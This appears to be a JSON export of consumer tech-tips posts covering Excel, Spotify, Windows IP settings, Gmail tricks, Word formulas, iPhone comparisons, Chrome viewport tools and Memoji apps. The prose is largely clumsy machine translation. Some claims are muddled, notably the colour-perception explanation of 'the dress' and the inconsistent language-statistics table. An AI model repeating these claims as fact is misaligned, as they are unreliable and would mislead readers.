or 28 days by using If (EOMONTH ($ C $ 7.0\u0026gt; I12, I12 + 1, '')\n  Similarly enter the next cell value:\n  Step 12: Format the date data to display only the day by selecting calendar -\u0026gt; right-click and select Format Cell in Custom section, enter d value -\u0026gt; OK:\n  Step 13: You hide the value of the cells to display the calendar link -\u0026gt; select those cells -\u0026gt; right-click and select Format Cell -\u0026gt; in Custom, enter 3 semicolons:\n  Step 14: Format display calendar -\u0026gt; you have created calendars for many different years:\n  Above is a detailed guide on how to create a calendar in Excel. Depending on how you choose to display the calendar appropriately. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksLOxwK2cZpldmK6tsc2dmKtlmaN6psTCnqM%3D\n","link":"/post/create-a-calendar-in-excel/","section":"post","tags":null,"title":"Create a calendar in Excel"},{"body":"Today, March 13, the popular music player Spotify has officially launched in Vietnam. Vietnamese users can download this application according to the link below.\nOn iOS: Spotify Music.\nOn Android: Spotify Music.\nOn PC, Mac and other platforms: Spotify.\nSpotify's website also announced the price of this service, Premium package costs 59,000 VND / month or 708,000 VND / year. With Premium account, users can listen to music without being bothered by ads, number of dropouts. through unlimited songs, download music offline, play any song, better sound quality (up to 320Kbps) . Payment method is international payment card (Visa / MasterCard / AMEX).\nSpotify currently has a free 30-day Premium trial program. Or if you do not want to pay, users can still use the free package but can only listen to mix songs only.\n    Spotify now has Vietnamese interface on both website and application. The music store has a relatively full range of Vietnamese artists, including singer My Tam, a leading singer in Vietnam but not present at the current online music sites and some Vietnamese music playlists. selective.\n  Spotify interface on Android.\n  Spotify interface on iOS.\n  Spotify on PC / Mac.\n  Spotify has songs by singer My Tam.\n  Singer Son Tung M-TP's songs on Spotify.\nSee more:\nHow to use CloudBeats to listen to music on Android and iOS Google Drive \nThe best free music download apps on Android How to play YouTube in the background on iOS and Android How to listen to free music on Sound Tube Music Streamer Pro iPhone ncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpyZo7Ruv8%2Boq6KeqWK2r3nVopytppGierq71GaamqZdqsCmecWrnJ5loKeyrrXUpmSpmZOgrqixjJ%2Bmq2Wmo7FugZhpZ2llnaS7tbQ%3D\n","link":"/post/downloading-spotify-in-vietnam-you-can-use-free-premium-package-for-vnd-59-000-month/","section":"post","tags":null,"title":"Downloading Spotify in Vietnam, you can use Free, Premium package for VND 59,000 / month"},{"body":" Super photos will make you admire the ability of humans to Photoshop 30+ images proving anything in life can happen Entertainment with 20+ funny photos due to the need to blink without mind Photoshop at the present time does not simply stop with the original use. Instead, when it falls into the hands of the sanctuaries, it suddenly becomes a powerful 'weapon' that many people feel 'lost faith in life'.\nEvery time you show off your photos on social media, once the photo is at risk of being targeted by photoshop masters, be careful. Let's TipsMake.com see photos accidentally accidentally get online, how Photoshop experts turn them!\n1. President Donald Trump drinks water\n    2. Art of newspapers is here!\n    3. Joint to every centimeter!\n    4. The cat has a discolored coat\n    5. Is the curly hair coming from this chicken?\n    6. Is imagination a little far away?\n    7. The photographer must have taken a lot of time to catch this rare moment - when the bubble waves covered the rock before rushing to shore.\n    8. The top hunter is here!\n    9. Skin care whenever possible!\n    10. This deer is wearing 'dead bird' hair\n    11. Nature is amazing!\n    12. Maybe this is a puppet show!\n    13. The girl has white fur!\n    14. Stand still and measure the height!\n    15. Who says only humans can row kayaks.\n  16. White owl - Snowy Owl.\n    17. Water art dance.\n    18. Don't worry about me here and \"ice cream\"!\n    19. Let the wind blow away!\n    20. So cute!\n    21. In the middle of the night, seeing this whole head is faint!\n    22. Walking with pets must be handsome!\n    23. Leave me alone!\n    24. Numbers for 3 super standard rings!\n    25. The brown squirrel possessing this super cool posture triggered a new uncompromising battle between photographers in Photoshop.\n    Refer to some other articles:\n\"Laughing does not shut up\" with 23 photos falling into the hands of photoshop workers without a heart 20 illustrations will make you review your wishes 27 images show that work risks are inevitable Having fun!\nncG1vNJzZmismaXArq3KnmWcp51ks7a6zbJkqaCfqbxuv8SroJ6rXZ67brzHqKuoq5ikvW6uwK2rpZ1dpLNuvMeoq6ilkaC2r7OMnq%2BpnaKpwG68wKurZmk%3D\n","link":"/post/funny-photo-series-in-photoshop-battle-of-photo-making-experts-part-1/","section":"post","tags":null,"title":"Funny photo series in Photoshop battle of photo-making experts (Part 1)"},{"body":"Currently, Google Translate has a camera translation feature, but this tool is still unable to identify the language itself. To use the user select the language before starting the camera. This is annoying for many users because they cannot change the source and target language through the viewfinder.\nHowever, according to the recent findings of 9to5Google, these annoyances will soon end when the major upgrade version of Google Translate launches. Specifically, in the latest version of Google Translate, there are lines of code showing that the upcoming update of this tool will have better translation quality, more languages ​​support and the ability to automatically receive language.\n  Currently, before starting the camera, users need to select the source language and the desired target language then take a picture and scan the text to translate. With the new update, when you point the camera at the text, Google Translate can automatically detect the source language and allow you to select the target language during this period.\nIn addition, Google is also developing a new \"Instant\" augmented reality feature capable of translating any text immediately and displaying the target language as you look through the viewfinder. This may be the future of seamless translation that has been mentioned by Google.\n  These new camera features are available in Google Translate version 5.29 but they are not yet activated. Hopefully Google will soon bring them to users in the shortest time.\nncG1vNJzZmismaXArq3KnmWcp51ktLC7xqWcZqyilru0uMCtnGavmaG5bq7EZpibpJViwbB5wK6rqKWRqbakrculsGahlJq7tbXFsmStoJViuaK6xq6YoJ0%3D\n","link":"/post/google-translate-will-be-able-to-automatically-identify-the-language/","section":"post","tags":null,"title":"Google Translate will be able to automatically identify the language"},{"body":"Language is a set of symbols that can be spoken or written used primarily for communication. Language is an important aspect of human intelligence, which is an aspect of human behavior.\nHow many languages ​​are there in the world? According to Ethnologue, there are about 7,097 languages ​​spoken in the world today. A number that startled many people. However, only 23 of all these languages ​​are spoken by half of the world's population. Nearly two-thirds of the world's languages ​​are concentrated in Africa and Asia, with only a few belonging to Europe.\n  Based on the origin, one can divide the world's languages ​​into five main groups:\n Language group\n Number of languages\n Percentage\n Number of people\n Percentage\n   Asia\n 2,300\n 32.4%\n 4,015,367.857\n 59.2%\n   Africa\n 2.143\n 30.2%\n 980.437.811\n 14.5%\n   Pacific\n 1.306\n 18.4%\n 6,884,098\n 0.1%\n   Americas\n 1,060\n 14.9%\n 49,208,280\n 0.7%\n   Europe\n 288\n 4.1%\n 1,725,890.007\n 25.5%\n   The places with the most languages ​​are Asia, Africa and the Pacific. However, the most commonly spoken languages ​​in the world come from Europe or Asia. This is due to the large population of some regions, such as China, the United States, etc. In addition, the colonial expansion in the previous centuries is also the reason why some languages ​​have become popular globally.\nAccounting for 18.5% of the world's languages, Pacific languages ​​are spoken very little, with only 1,000 speakers on average.\nLanguages ​​in the world are not evenly distributed. There are some countries with hundreds of languages, for example, Papua New Guinea has 841 languages, Indonesia has 710 languages, Nigeria has 526 languages, India has 455 languages.\nThe most spoken languages ​​in the world are Chinese, English, Hindi, Spanish, Russian, Arabic.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjKaYp7Fdoa6vs9Sanp6rXVqSc3GXaVxxelV6f2aEj15ve5mimnq1tMSrnGahnmLBqbGMsKarpJQ%3D\n","link":"/post/how-many-languages-are-there-in-the-world/","section":"post","tags":null,"title":"How many languages ​​are there in the world?"},{"body":"Just follow these simple steps to change the network address configuration on your computer.\nSteps to change IP address on Windows 10 Follow these simple steps to modify the network settings on your computer.\nStep 1: Press the key combination Windows + Rto launch the Run window .\nStep 2: Type: ' cmd ' and press the key combination Ctrl + Shift + Enterto open Command Prompt with administrator privileges .\n  Step 3: In the Command Prompt window , copy and paste this command and press Enter.\n ipconfig / all   Then all internet connection settings will be displayed in the window.\nStep 4: From the list of connection settings, find your network connection (for me it's the \"WiFi\" setting).\nStep 5: Memorize the data of the network adapter including IPv4 Address and Subnet Mask , then minimize the Command Prompt window .\nIn fact, you also do not need to remember, we only rely on these figures to change IP so that they do not conflict in the next step.\nStep 6: Again click Windows + Rto launch the Run window .\nStep 7: Type ' ncpa.cpl ' and press Enter.\n  Step 8: Now right-click on the network adapter you are using and select Properties to initiate the IP change.\n  Step 9: In the section ' This connection user the following items ' scroll down and then double click on Internet Protocol Version 4 - ' Internet Protocol Version 4 (TCP / IPv4)'.\nStep 10: In the next window, click ' Use the following IP address: '\nStep 11: Please reopen the miniature Command Prompt window from step 5 , the data I said that you should remember them, put those data in specific tabs (such as IP address , Subnet mask , Default gateway ).\nStep 12: Select ' Use the following DNS server settings: ' and enter the DNS servers you want, for example the example below is Google's DNS.\n Preferred DNS server: 8.8.8.8 Alternate DNS server: 8.8.4.4 Step 13: Finally click OK and close all the windows that we just opened, so complete the IP address change in Windows 10.\nsummary The article sharing how to change the IP address in Windows 10 is here to end. With these simple steps, you can manually set your IP address on a Windows 10 computer. Please share this article with your friends when they also want to change IP address on Windows 10.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55lmaV6orDDq5ysq12eu27DyKebqK%2BjYn5x\n","link":"/post/how-to-change-the-ip-address-in-windows-10/","section":"post","tags":null,"title":"How to change the IP address in Windows 10"},{"body":"Did you know you can customize your Gmail address to make it easier to read? This also makes it easier to keep track of who sends you messages. This article will show you how to customize your Gmail address.\nHow to own multiple Gmail addresses with only one account How to add a new email address to your Gmail contacts How to sign in to Gmail, sign in to multiple Gmail accounts at the same time Add dots to email address You have to add the dot (.) Between the characters in the email address username. Gmail does not recognize it as a character in the username and completely ignores it.\nThis dot can be useful for long and wordy email addresses. It will separate the string in the email address to make it easier to read.\nFor example, if the email address is firstnamelastname@gmail.com, you can type into firstname.lastname@gmail.com and Gmail still sees this as the original email address. If you want, you can also type into firstnamelastname@gmail.com. But it seems counterproductive.\nOne thing to note is that you cannot type the dot at the beginning, the end of the username or use them in succession such as firstname.lastname @ gmail.com.\nAppend with plus sign You can also use the plus sign to append words or numbers to the end of your username. Just like the dot above, Gmail ignores the plus sign and anything that follows it so you can customize and add endless email address feeds.\nThis trick is especially great when using a registered email address on a website because you can include website names to easily organize your inbox.\nFor example, if you want to register TipsMake.com, firstname@gmail.com will become firstname+quantrimang@gmail.com. The email still arrives in your inbox as usual and is sent to as firstname+quantrimang@gmail.com.\nYou can also use the plus sign between words like: firstname+quan+tri+mang@gmail.com\nAlternatively, you can use the plus sign in an email address if in doubt the organization may sell your information. Because this trick will let your company name register after your username, you'll know where spam email comes from if this keyword is included.\nOrganize your inbox with custom email addresses Now organize your inbox with custom emails used to sign up for different services and websites. All you need to do is create an incoming mail filter on Gmail to find custom email and then label it.\nOpen your browser, access your Gmail inbox, click the gear icon and click Settings .\n  Next, click on Filters and Blocked Addresses and then choose Create a New Filter .\n  Type your custom email address in the To section and then click Create Filter .\n  Click the box next to Apply the Label , click Choose Label and then choose New Label from the drop-down menu.\n  Name the label and then click Create .\n  The label you type will help distinguish it from other emails in your inbox. You can view all your labeled emails in the sidebar of your inbox.\n  Finally, add other filters you want to apply and then click on Create Filter .\n  All filters you apply to incoming emails are displayed here. To edit or delete a filter, click on the appropriate link below it.\n  You can now create filters for each custom email address, which will automatically be labeled, archived, deleted, etc. according to your choice.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpulqMGwuciznGaZXZy6orXLZpidnKKawLQ%3D\n","link":"/post/how-to-customize-a-gmail-address/","section":"post","tags":null,"title":"How to customize a Gmail address"},{"body":"You can customize the iMessage application tray in iOS 11 on iPhone and iPad according to your mood. Follow these steps to rearrange the application tray as desired.\nIMessage application tray in iOS 11 has been redesigned more beautiful and easier to use. In addition, you can also adjust the application tray to suit your needs and needs.\nHow to turn on the dark background interface on iPhone applications For example, if you don't want to keep the recently used applications button, you can remove it from the menu. Or if you want to rearrange icons to make it easier to perform tasks, you can do that.\nHow to customize iMessage application tray icons in iOS 11 on iPhone and iPad Step 1 . Opening Messages on iOS devices → Next, open any message .\nStep 2 . Drag the application tray from right to left → Touch the more button (three horizontal dots) in the lower right corner of the screen.\n  Step 3 . Next, select Edit in the upper right corner of the screen.\n  Step 4 . Now simply touch and hold the three line icon next to your favorite application and drag it to the desired location.\n  Step 5 . Finally, select Done in the top right corner of the screen.\n  How to remove an unwanted application from the iMessage application tray on iOS 11 Step 1 . Open the Message → application and select any message → open the More button (three dots) → and select Edit .\nStep 2 . Now, just turn off the switch to the right of the applications you want to delete → finally select Done .\n  See more:\nThe best free VPN application iOS users should not ignore How to use fingerprint to download applications on iPhone How to install Everfilter image editing application on iPhone / iPad ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpulqMGwuciznGasmJp6qrnErKqan5VirrG8y6KamqyZpLtuwNGasGannmK2sbTOp5xmmZ6Zeqq8wJ0%3D\n","link":"/post/how-to-customize-the-imessage-application-tray-on-iphone-and-ipad/","section":"post","tags":null,"title":"How to customize the iMessage application tray on iPhone and iPad"},{"body":"Without the Game Bar, controlling Spotify while playing a game can be uncomfortable, as you're probably playing the game in full-screen mode. If at any time you want to adjust playback, you just have to press Alt + Tab to do it.\nThe Game Bar includes a Spotify widget that floats on the game whenever you need it.\nWhat you need The Widget Menu has been added to the Game Bar in the Windows 10 May 2019 Update. Your device must be running that version or higher, if you want to use the Game Bar.\nYou must also install the Spotify app for Windows. If you haven't already, Game Bar will ask you to install it when you turn on the Spotify widget.\nHow to use Spotify in Windows 10 Game Bar First, press Win + G to launch the Game Bar. Alternatively, you can click on 'Xbox Game Bar' in the Start menu.\n  In the Game Bar toolbar, click the Widget menu icon .\n  A drop-down list will appear. Click on Spotify.\n  A Spotify pop-up will appear. Enter your account information, then click Log In .\n  Click Agree to let the Game Bar control Spotify and access your account.\nYou should now see a floating Spotify player whenever you open the Game Bar overlay. It features playback controls and device options, as well as a Recently Played ' recent play history that is expandable.\n  You can reopen the Widget menu , then click the star next to 'Spotify' to add a shortcut to the Game Bar toolbar.\n  It's done! Now, whenever you're playing a game in full-screen mode and want to tune Spotify playback, just press Win + G to open the controls.\nTip : You can also click the pin icon andSpotify's 'Now Playing' windowwill always appear at the top of the game or your screen.\nSpotify how to use Spotify ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq0vM6toJ%2BxXZ67brzCZp6apZVivK951qKlnaenqHpyfA%3D%3D\n","link":"/post/how-to-use-spotify-in-pc-game-on-windows-10/","section":"post","tags":null,"title":"How to use Spotify in PC game on Windows 10"},{"body":"For teachers, Word is a software that supports effectively writing lesson plans in subjects, or even creating cover pages right on Word. With pure text content, Word editing is much simpler than having to present a formula like Math or Chemistry. Previously, Network Administrator showed you how to write math formulas on Word. So how to write chemical formulas in Word, how is the writing like when writing math formulas? The following article will show you how to insert formulas on Word.\nInstructions on how to draw diagrams in Word How to write fractions on Word Instructions for creating caret in Google Docs How to insert the C degree icon in Word, Excel? Complete Word 2016 tutorial (Part 22): How to create a chart Instructions for drawing formulas on Word 1. Write formulas through the index on the bottom 2. Write formulas with Equation 3. Type the formula with MathType 4. Write the formula with Chemistry Add-in 1. Write formulas through the index on the bottom This is the simplest way to write formulas and is applied even to math formulas. With simple equations, you can use this method. How to write the index on the bottom in Word readers refer to the article How to create the index on the bottom, write the exponent in Word.\n  2. Write formulas with Equation Right on Word, there was a tool to insert expressions in math or in-game with existing patterns. Click Insert New Equation to enter the chemical formula.\n  Click on the Script section to write the formulas with top and bottom indexes. Then the user just needs to enter the correct content in the square section.\n  In addition to chemical equations, users also have a list of symbols as shown in the picture with arrows, degrees F, degrees C, .\n  With Word 2010 and above, there will be more tools Ink Equation to draw formulas, expressions to Word automatically identify the drawing and give the correct expression.\n  Then display the table for users to draw the formula to use. To better understand how to use Ink Equation, read the article How to insert Math Formula in Word 2016.\n  3. Type the formula with MathType MathType is a tool for writing formulas, equations, expressions for math or chemistry. The tool is instantly integrated into Word so you can use it quickly when needed. With this software, many complex formulas will write faster. Readers refer to how to use MathType to write math formulas in articles How to write math formulas on Word with MathType.\n  4. Write the formula with Chemistry Add-in Chemistry Add-in is a software that supports writing formulas and molecules in Word very professionally. Users will easily display the molecular diagram of a substance, something that Word's built-in tools can't do.\nStep 1:\nUsers download the Chemistry Add-in tool according to the link below and then proceed with the installation.\nDownload the Chemistry Add-in tool   Step 2:\nAfter installation, users will see the Chemistry Add-in tool displayed in Word's ribbon bar interface as shown below.\n  Step 3:\nBelow is a tool for you to insert formulas into content. We can use the molecular diagram repository in chemistry when clicking the Open button.\n  Step 4:\nTo draw the molecular diagram yourself, click on the Draw button in the toolbar and then draw the diagram into the content and click OK.\n  Chemistry Add-in will then identify the diagram you drew and produce the chemical formula of a substance. To show the diagram in Word, click the Save button.\n  The above are ways to write formulas on Word. For those who often have to write formulas and a variety of chemical-related exercises, they should install the Chemistry Add-in tool. This tool will definitely support a lot of users when you write formulas or draw molecular diagrams more accurately.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq%2BinsGmecWoqaatnJbAbrXNZq6oqpQ%3D\n","link":"/post/how-to-write-formulas-in-word/","section":"post","tags":null,"title":"How to write formulas in Word"},{"body":"Here are the outstanding features that will be enabled and supported by these new Windows 11 driver packages:\nDirectX 12 Ultimate : DirectX 12 Ultimate will systematize a number of RTX rendering enhancements such as Raytracing, Variable Rate Shading, Sampler Feedback, and Mesh Shader, to help developers create better, larger game spaces with more optimal performance.\nAuto HDR : The vast majority of games now run in Standard Dynamic Range (SDR). Auto HDR's job is to thoroughly evaluate the game content and convert it to High Dynamic Range (HDR). This essentially enhances the vibrancy of the image, makes the blacks deeper, the other colors more accurately represented, and especially emphasizes the details of the scene. In addition, if you play a game on a monitor that supports G-SYNC ULTIMATE or G-SYNC HDR, the graphics quality of the game is automatically enhanced in DirectX 11 and DirectX 12 SDR.\n  DirectStorage : DirectStorage offers a new standardized implementation of next-generation IO technology. Through it, DirectX 12 game developers can use to speed up the loading and rendering of large game spaces, using textures and content streamed from the NVMe SSD.\nImproved NVIDIA Broadcast Performance : NVIDIA Broadcast is the industry-leading video and audio enhancement application in today's gaming industry. This engine uses the power of AI and Tensor cores on NVIDIA GPUs to make audio clearer, remove background noise, and improve video quality. In Windows 11, GPU hardware acceleration scheduling has been greatly improved and enabled by default, allowing users to use NVIDIA Broadcast while they stream and run 3D games or applications seamlessly.\nWindows Enhance Audio : A new audio management feature that allows Windows 11 users to improve and enhance the quality of the sound coming out of their speakers and headphones, and to enhance the quality of conversations through the microphone.\nIntegrated Microsoft Teams : Microsoft Teams is now integrated in the Windows taskbar, allowing for more convenient and quick use. With the new NVIDIA driver packages, GPU acceleration is fully supported, and through Teams options, you can route your calls through NVIDIA Broadcast for enhanced voice and video quality.\nUsers can now download the latest Game Ready and NVIDIA Studio drivers for Windows 11 operating system through GeForce Experience.\nncG1vNJzZmismaXArq3KnmWcp51ku7e1w6KYZqqVobKiv8SsZKCZnZp6s7HAnbBmmZ6ZerTA1J2gqGWUp7a3sdGsZJ%2BnomLEqrrDqK6sZWFm\n","link":"/post/nvidia-releases-game-ready-and-studio-drivers-for-windows-11/","section":"post","tags":null,"title":"NVIDIA releases Game Ready and Studio drivers for Windows 11"},{"body":"The iPhone 11 is only 2 years old, so it still has enough power to handle most everyday tasks, and the battery life is fine. However, there are two notable additions for you if you upgrade from iPhone 11 to iPhone 13: 5G support and better cameras.\nCompare details iPhone 13, 13 Pro with iPhone 11, 11 Pro In fact, the iPhone 11 camera is still good for those who usually only take photos of pets, children and travel. It has the same 12MP wide-angle and ultra-wide-angle dual camera system as the iPhone 13, and also features features like Night mode and Deep Fusion, the image processing technique Apple introduced on the iPhone 11. iPhone 11 Pro and Pro Max has 3 12MP camera system including wide-angle, ultra-wide and telephoto lenses.\nHowever, the iPhone 13 has a few more additions that photography enthusiasts and video enthusiasts will appreciate. Upgrades like Cinematic mode, ProRes, improved Night mode and Dolby Vision HDR video recording are really worth the experience. Add to that the Photographic Styles feature, which stabilizes the image by shifting the sensor and the new sensor has better light capture.\n  In terms of connectivity, the iPhone 11 and iPhone 11 Pro do not have 5G support like the iPhone 12 and iPhone 13. However, for most users 5G is not the main reason for them to decide to upgrade to the iPhone. In developed countries, 5G has been widely covered, but in our country it is still not popular. Services and apps that make good use of 5G are also yet to be launched.\nThe iPhone 13 series uses Apple's A15 Bionic chip while the iPhone 11 series uses Apple's 2-year-old A13 Bionic chip. Although not the latest chip, the A13 Bionic is still powerful enough to handle everyday tasks such as taking photos, playing games and surfing Facebook, Instagram, TikTok. Another signal that the A13 Bionic is still there. That is, Apple has put this chip in their newly launched iPad model.\niPhone 13 has 2 hours longer video playback time than iPhone 11, has the ability to support MagSafe accessories and double the storage on the lowest version. According to Apple's website, the battery life of the iPhone 13 is comparable to the iPhone 11 Pro and Pro Max. However, the iPhone 13 Pro will have 4 hours more battery life than the iPhone 11 Pro and 2 hours more than the iPhone 11 Pro Max when playing videos.\nFinally, the iPhone 11 uses Apple's old design language with rounded corners and glossy paint on the regular version, matte paint on the Pro version. Meanwhile, the iPhone 13 is similar to the iPhone 12 when it has flat beveled edges and a Ceramic Shield coating to make the device more durable and the back glass is more shiny.\nConclude If you use it normally, you can continue to keep your iPhone 11 or iPhone 11 Pro for another year or two. However, if you regularly take photos, record videos, or do other jobs that require a better camera, longer battery life, and more storage, then upgrading to the iPhone 13 will bring you many benefits.\niphone 11 iphone 13 ncG1vNJzZmismaXArq3KnmWcp51kwKm71KWbZqGgnbyvsYxqaGZpYWK9s7uMrqqeqqNiwrGz0ZqbnmWkpHqqvMeopZ5lYWg%3D\n","link":"/post/should-iphone-11-11-pro-users-upgrade-to-iphone-13/","section":"post","tags":null,"title":"Should iPhone 11, 11 Pro users upgrade to iPhone 13?"},{"body":" 7 tough questions only experienced detectives can break 18 types of sculptures are very characteristic of the first people with electricity Pleasures cannot be more 'horror' than that of the ancients In the past year, probably many times netizens have to get up, heated debate about the truth behind the image of 'hack' viewers' brains. The photos at first glance seem very normal, but hidden inside them are strange things that only smart people can recognize.\n1. Kendall Jenner is like \"losing\" a leg in the image   Earlier this year, in a photo in InStyle magazine published a photo of three models including Kendall Jenner, Kylie Jender and Hailey Baldwin on Instagram. In this photo, the viewer once again bewildered and woken up, posing a question as to why in Kendall Jenner's one-legged image seems to have . disappeared!\n  But in fact, Kendall Jenner's legs didn't disappear anywhere, it was just under the dress she was wearing. If the eye is looking a bit, the bulging part of the skirt is the other line of legs that many people think it disappears.\n2. There is a strange point in this image, do you recognize it?   In this picture, do you see anything special in it?\n  Perhaps you will be paying attention to those beautiful girls, see if they are different, right? But the fact that these main characters are not unusual, the special thing in this photo is the background, which is all the faces are edited into a guy with curly hair.\n3. Do you see these legs \"fat\"?   In October 2016 Hunter Culverhouse, an art student, posted on his Instagram. Culverhouse's leg was as if it had just been applied to a fat layer, after posting this image, it received countless social media comments saying that the owner had applied varnish or something on his leg.\nWhen the image is cut back, you will see how the white paint stains have been fooled. Sharing with Insider, Culverhouse said this image is an unintentional, unintended setting. It was taken right after she finished a homework assignment.\n4. Is this baby under or above the water?   In 2015, reddit users broke out into a debate that according to you, the girl in the picture is below or in the water. The majority leaned on the idea that she was playing with the water, the few insisted that this was a picture taken when the whole body of the little girl sank in the clear blue water.\n  The answer here is that this baby is actually on the water because if you are under the water, you will not be able to hit the bubbles like in the picture. There is also a proof that this is because if the baby's hair gets wet in the water, this girl's hair is still dry and in the wind.\n5. The strange dress   Perhaps many people still can not forget the picture has a dress that is said to have different colors. Some people claim that this dress is white gold, but many people claim it is dark green. In short, what color is it?\nThis dress is dark blue and this is the reason why many people see other colors.\nAccording to scientists, our bodies are not the same, and the amount of eye light we receive is also different. Moreover, there are people who are sensitive to blue light, so only the skirt is dark blue. In contrast, individuals who are less sensitive to this green will only see a yellow-and-white skirt.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjK2prqyYYq6nwMSrZK2glWKvs63Ip5uapZGctq%2BzjKmfqKyfqHqprdJmpJqclWLCtLHRrGScqpGvxm67zWaroZ1dnru1sdGnnK0%3D\n","link":"/post/the-truth-after-the-brain-damaging-photos-has-made-users-crazy-on-the-internet/","section":"post","tags":null,"title":"The truth after the brain-damaging photos has made users crazy on the Internet"},{"body":"When building or modeling a responsive web page, you need to check the site in multiple viewport sizes (the view - the part that the user will see the content of the web page displayed) to check it layout and pages are displayed well. There are several ways to do this, such as using Adobe Edge Inspect or browser extensions like Dimensions for Chrome .\nThe problem is that these tools do not always work smoothly in all cases.Adobe Edge Inspect requires that laptops and mobile devices be connected to the same wireless network. XIP.io also requires devices to connect to the Internet and in many people's experience, it is difficult to debug responsive websites according to iframes or to resize the browser window multiple times.\nSimulation of viewport size with Device Metrics Google Chrome recently introduced a new integration feature, which can fix all the issues mentioned above. This new feature is called Device Metrics . To activate Device Metrics, open the Developer Tools Setting .\n  Go to the Override control panel . Select Device metrics and you can specify the size for viewport.\n  The result will be displayed immediately.\n  You can swap the length with width and height by clicking the button next to the input fields.\n  If you are unsure of the screen resolution used, you can also change the browser User Agent . And the fields that enter the screen size will be filled in with the actual viewport size from the selected User Agent .\nFor example, selecting \" Android 2.3 - Nexus S \" will set the size to 480 x 800pixel, selecting \" iPad - iOS5 \" will set it to 1024 x 728pixel.\n  You can find a full list of mobile device viewport sizes in Screensiz.es.\nGoogle Chrome has many useful features to streamline the development process. Now, by using Device Metrics, you can debug the site to have a specific viewport size without having to deal with a restricted connection, use a third-party browser extension or search. iframe.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51kw6qx1qmmq6xdqLauwcuaq6KnnmLEqsDHZpuerpmYsm65xK2popujYryvecKhqaillQ%3D%3D\n","link":"/post/viewport-simulation-with-device-metrics-on-chrome/","section":"post","tags":null,"title":"Viewport simulation with Device Metrics on Chrome"},{"body":"Do you have an Android phone and are jealous of seeing iPhone owners who send custom emojis based on their faces? It's called Memoji and there are ways to get a similar feature on Android.\nToday's article will introduce you to various methods and applications for using Memoji on Android.\nBring Memoji to Android with the following 6 applications What is memoji? 6 apps to use Memoji on Android 1. Gboard Emoji Minis 2. Samsung AR Emoji 3. Face Cam 4. MojiPop 5. Bitmoji 6. EMOJI Face Recorder  What is memoji? Memoji is the name of a function on Apple's iPhone that allows users to create emoticons that look like their own images. You can build from different categories like hair styles, eyes, head shapes, etc. to make it your own Memoji.\nYou can then send this Memoji in iMessage to make it fun for friends and family. Memoji also uses the iPhone's True Depth camera to come to life, matching users' expressions and mouth movements.\nThere may not be an exact copy of Memoji for Android, but these are methods that will help you achieve something similar. If you have an iPhone, see TipsMake.com's guide on creating and using Memoji.\n6 apps to use Memoji on Android 1. Gboard Emoji Minis Gboard, also known as Google Keyboard, contains a feature called Emoji Minis. With this feature, you can scan your face and get a variety of stickers in many styles, as well as different postures. To use it, of course you have to use Gboard as the phone keyboard. You may have done so, because Gboard has tons of interesting features.\nWhen Gboard is installed, open the keyboard somewhere, press the sticker icon, then click the plus icon. At the top is the Your minis section, choose Create.\nThis section guides you to take a selfie and create 3 sets of stickers: Emoji, Sweet and Bold . You can customize these if the process has not accurately captured the appearance characteristics from the image.\nClick Done and your emoticon is ready to use. They will appear on the sticker of the keyboard. You can also go back to Your minis section to further customize it whenever you want.\nDownload Gboard (Free).\n2. Samsung AR Emoji Samsung AR Emoji is available on Galaxy S9 and S10, Note 9 and 10, even on S8 (with limited capabilities).\nTo use, launch the Camera app and switch to the front camera. Touch AR Emoji from the camera modes at the top. Then select the blue Create My Emoji button and take a selfie. Go through the steps to choose gender, customize costumes, etc. Click OK when done.\nWhen using the selfie camera, AR Emoji will appear as an option at the bottom, along with other filters. You can take photos and videos of emoticons that reflect your movement. This function is not available on S8.\nYou can also choose from a range of stickers and GIFs with your emoticons appearing in a variety of positions, great for illustrating interesting reactions. They can be overlaid on photos or sent via the default keyboard in messaging apps.\n3. Face Cam   Face Cam does not scan your face for emoticons. Instead, you build emojis from scratch using different categories. Choose hair, skin color, eye shape and similar characteristics.\nOnce created, the application will act as a camera. But instead of seeing your real face, you'll see a huge version of emoticons. It moves just like your face and will try to imitate the eyebrows, eyes and mouth on it.\nYou can apply color filters to the camera to get the perfect look. The app also lets you choose from photos in your gallery and apply emoticon faces to them.\nThe free version is limited in its ability to customize and place a small watermark on the image, but that's not a big deal. You can save photos to your phone or send them straight to other applications.\nDownload Face Cam (Available for free, in-app purchase).\n4. MojiPop   MojiPop is an application that turns faces into hand-drawn cartoons, then applies it to countless scenes and stickers. If you wonder how to look like you are sitting on a planet, jumping with a cat or in a famous painting, MojiPop will help you turn that desire into reality.\nThe stickers are rich and animated, based on themes like friends, travel, love and seasonal activities like Halloween. Some content is locked and forced to pay to use, but there are also many free content for testing. You can create up to 3 different emoticon avatars.\nMojiPop has its own keyboard, but it doesn't bring much value when used. Instead, you can share emoticons directly from the app itself, send it straight to the library or other apps like WhatsApp and Facebook.\nDownload MojiPop (Free, premium version available).\n5. Bitmoji   You may already be familiar with Bitmoji if you are using Snapchat, as both applications are owned by the same company. Bitmoji allows you to create a full-bodied cartoon-style avatar.\nYou can scan your face and Bitmoji will automatically create appearance features. Also, try building your character from scratch. Once completed, you can choose clothes and see your avatar in all different situations.\nOf course, Bitmoji integrates directly into Snapchat, but another handy thing is that it also appears on the Stickers tab of Gboard. This means you do not need to switch applications while messaging. Just send Bitmoji like any other sticker.\nDownload Bitmoji (Free).\n6. EMOJI Face Recorder EMOJI Face Recorder is equivalent to the iPhone's Animoji feature. It doesn't allow you to turn your own face into emoticons like Memoji, but the article includes this tool here as an alternative.\nInstead, this app lets you choose from a variety of funny creatures and emoticons, like a unicorn or sunglasses-wearing emoji, then mimic your face movements. Just start and the tool will copy the gesture on your face.\nYou can also change the background color of the record. For example, you might have an octopus-shaped face floating in space.\nFace tracking is not very good. While head and mouth movements are very well documented, some movements, such as blinking, are inaccurate. However, to create some fun, EMOJI Face Recorder is still quite good.\nDownload EMOJI Face Recorder (Available for free, in-app purchase).\nHopefully you've found a method to create emojis that are right for you. You can now send it to everyone on your contact list!\nWish you find a tool like 